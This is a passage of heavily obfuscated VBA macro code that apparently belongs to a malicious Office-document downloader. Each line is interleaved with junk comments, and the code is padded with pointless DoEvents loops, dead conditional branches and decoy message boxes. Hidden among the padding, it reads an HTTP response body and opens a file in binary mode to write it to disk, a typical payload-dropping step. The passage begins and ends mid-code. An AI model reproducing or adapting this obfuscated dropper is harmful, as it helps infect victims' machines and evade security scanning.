- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: xQXrxhZq = xQXrxhZq + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim HQUlgpSS As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For HQUlgpSS = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next HQUlgpSS
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim moREIdNI As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For moREIdNI = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next moREIdNI
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("nVNqdyMM87")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len("uwlXubsn5916") = Len("kMmligtC") Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim PtsLVNId As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim xNjIvmGT As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For xNjIvmGT = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next xNjIvmGT
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- PtsLVNId = 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While PtsLVNId < 23
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim acgFtQqy As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For acgFtQqy = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next acgFtQqy
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: PtsLVNId = PtsLVNId + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim EpBXLFNL As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For EpBXLFNL = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next EpBXLFNL
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim PlSCaYZV As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For PlSCaYZV = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next PlSCaYZV
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("Error !!!")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim qaenIrWu As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim wrzQUema As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For wrzQUema = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next wrzQUema
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- qaenIrWu = 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While qaenIrWu < 63
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim AkkAoEEm As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For AkkAoEEm = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next AkkAoEEm
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: qaenIrWu = qaenIrWu + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim rreRoWbD As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For rreRoWbD = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next rreRoWbD
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim CXsXTfbR As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For CXsXTfbR = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next CXsXTfbR
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- ZEFGKWXQJQF = RNNVUWVLESY.responseBody
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 632496 = 632496 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 7193 < 95 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim qNuqFNgT As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim wtMbkHEu As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For wtMbkHEu = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next wtMbkHEu
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- qNuqFNgT = 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While qNuqFNgT < 35
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim gKcqWXIb As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For gKcqWXIb = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next gKcqWXIb
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: qNuqFNgT = qNuqFNgT + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim lmnBHclQ As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For lmnBHclQ = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next lmnBHclQ
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim gMkIhxaK As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For gMkIhxaK = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next gMkIhxaK
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("tzMQGSOW48")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len("aTHfHHUQ4159") = Len("TLSzZsgG") Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ksUuEtPh As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim tzubsxGd As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For tzubsxGd = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next tzubsxGd
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- ksUuEtPh = 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While ksUuEtPh < 75
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim DaqiASdG As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For DaqiASdG = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next DaqiASdG
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: ksUuEtPh = ksUuEtPh + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim tVvrbEIW As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For tVvrbEIW = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next tVvrbEIW
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim DzuxwHLj As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For DzuxwHLj = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next DzuxwHLj
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("Error !!!")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim EXnPmWgm As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim HPOsHlCC As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For HPOsHlCC = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next HPOsHlCC
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- EXnPmWgm = 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While EXnPmWgm < 92
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim QfyAiRnE As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For QfyAiRnE = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next QfyAiRnE
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: EXnPmWgm = EXnPmWgm + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim hHPpXzWo As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For hHPpXzWo = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next hHPpXzWo
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim CXyPyfJT As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For CXyPyfJT = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next CXyPyfJT
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- RVDHCWIGIMP = FreeFile
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Open DNZWAGZEAAU For Binary As #RVDHCWIGIMP
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 131918 = 131918 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 1444 < 76 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
